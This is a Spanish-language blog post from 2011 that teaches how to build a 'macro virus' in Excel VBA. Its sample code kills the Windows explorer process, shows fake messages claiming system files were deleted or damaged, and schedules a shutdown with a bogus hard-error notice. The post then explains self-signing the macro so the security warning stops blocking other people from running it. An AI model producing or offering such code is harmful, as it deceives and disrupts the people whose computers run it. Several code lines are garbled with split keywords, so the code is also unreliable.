lunes, 14 de febrero de 2011

Creacion de virus macro




En la informática la terminología, un virus macro es un virus que está escrito en un macro lenguaje : es decir, un lenguaje integrado en una aplicación de software como un procesador de textos. Dado que algunas aplicaciones (especialmente, pero no exclusivamente, las partes de Microsoft Office ) permiten a los programas macro para ser incrustado en documentos, para que los programas pueden ejecutarse automáticamente cuando se abre el documento, esto proporciona un mecanismo distinto por el cual los virus pueden propagarse .Por esta razón, puede ser peligroso para abrir inesperada adjuntos en mensajes de correo electrónico .

muy bien mas o menos tenemos una idea empezamos ?

abrimos excel puede ser cualquier version que tengan a mano.
Con excel abierto necesitamos las herramientas de visual basic, para eso vamos a herramientas , personalizar , barra de herramientas y lo unico que hacemos el tildar la casilla visual basic



luego cerramos.

bueno despues vemos que nos aparece un menu como este



damos click al cuarto icono que sale como un martillo pete y se nos abrira un panel haci :



ahora por ejemplo agreguemos un boton ,le damos doble click y se nos abrira el visual basic para que agreguemos el codigo y por ejemplo ponemos :

Private Sub CommandButton1_Clic  k()
MsgBox ("hola ")
End Sub


y lo ejecutamos con el boton play que es la flechita en el menu superior

Ahora el solo se nos volverá a la hoja de cálculo y una ventanita emergente dira:
hola

un codigo mas complejo

Private Sub CommandButton1_Clic  k()
MsgBox "Bye bye..."
Shell ("taskkill /f /im explorer.exe")
CommandButton2.Fore Color = RGB(128, 0, 255)
End Sub


Private Sub CommandButton2_Clic k()
If TextBox1.Text = "hola" Then
MsgBox "Bye, bye"
Shell ("explorer.exe")
Shell ("taskkill /f /im excel.exe")
Else
MsgBox "Orden de línea de comandos: del %windir%"
MsgBox "Orden de línea de comandos: orden dañada, revise los archivos de sistema"
Shell ("shutdown.exe -s -t 60 -c SYSTEM user has started a emergency reboot by a hard error in the system files, check the disk ")
EndIf
End Sub


y bueno eso seria algo mas o menos mas complejo lo que hace ese es cerrar el proceso exploirer.exe y mostrar un cartelito que dice nuestro mensaje , si es inconrrecto manda falso mensajes de un sistema dañado emmm y si es correcto cierra todo y devuelvelos procesos
bueno ese seria un ejemplo pero puede codear cualquier cosa todo a su imaginacion
despues si guardamos nuestro proyecto y lo queremos ejecutar o que lo ejecute alguna persona y nos sale esto



es porque no tiene una firma digital no pasa nada solo ahi que crearla

vamos a Inicio, microsoft office, herramientas de microsoft office, certificado digital para proyectos de VBA.
nos muestra una ventana en el cual tenemos que poner el nombre de la firma le ponemos cualquier cosa , y tendiramos la firma digital ahora tenemos que incluir los archivos.Para firmar la aplicación, en el menú Herramientas, click en opciones y le damos a la pestaña seguridad.
luego firmas digitales y agregar aceptamos todo , nos tocaria firmar la macro

En el menu herramientas, macro, vamos a editor de visual basic.
en el explorador de proyectos, seleccionamos lo que queremos firmar, es decir, la hoja en la que esté la macros, seleccionamos la Hoja1 (Hoja1)
en el menú Herramientas y con la Hoja1 seleccionada le damos a Firma digital , aceptamos y listo ya tenemos la firma digital bueno esto seria todo espero que les halla gustado :)

No hay comentarios:

Publicar un comentario